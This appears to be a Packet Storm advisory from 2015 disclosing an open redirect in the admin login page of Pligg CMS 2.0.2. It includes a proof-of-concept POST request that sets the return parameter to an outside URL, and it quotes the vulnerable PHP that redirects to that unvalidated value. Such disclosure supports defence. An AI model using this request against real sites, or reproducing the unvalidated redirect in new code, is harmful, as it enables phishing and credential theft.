what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Pligg CMS 2.0.2 Open Redirect

Pligg CMS 2.0.2 Open Redirect
Posted Aug 18, 2015
Authored by Arash Khazaei

Pligg CMS version 2.0.2 suffers from an open redirection vulnerability.

tags | exploit
SHA-256 | 8de2916fb64edab5627798231d00a3bccfd6941441919181802ea8d1d12632d0

Pligg CMS 2.0.2 Open Redirect

Change Mirror Download
# Exploit Title: Pligg CMS admin_login.php Open Redirect Vulnerability
# Google Dork: N/A
# Date: 2015/8/18
# Exploit Author: Arash Khazaei
# Vendor Homepage: pligg.com
# Software Link:
https://github.com/Pligg/pligg-cms/releases/download/2.0.2/2.0.2.zip
# Version: 2.0.2 (Last Version)
# Tested on: Kali , Iceweasel Browser
# CVE : N/A
# Contact : http://twitter.com/0xClay
# Site : http://bhunter.ir

Introduction :

Pligg CMS Is A CMS Writed In PHP Language And Licensed Under GPL v 2.0.
An Open Redirect Vulnerability In admin_login.php File and return= Input .

# POC :

POST /pligg-cms-master/admin/admin_login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101
Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/pligg-cms-master/admin/admin_login.php?return=http://google.com
Cookie: panelState=CollapseModules; PHPSESSID=9nd8tubu0j825n9ifobfibot86
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 75

username=admin&password=admin&processlogin=1&return=http://google.com

=====================

Vulnerable Code :

if(strpos($_SERVER['SERVER_SOFTWARE'], "IIS") && strpos(php_sapi_name(),
"cgi") >= 0){
echo '<SCRIPT LANGUAGE="JavaScript">window.location="'
. $return . '";</script>';
echo
$main_smarty->get_config_vars('PLIGG_Visual_IIS_Logged_In') . '<a href =
"'.$return.'">' .
$main_smarty->get_config_vars('PLIGG_Visual_IIS_Continue') . '</a>';
} else {
header('Location: '.$return);
}
die;



Discovered By : Arash Khazaei
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close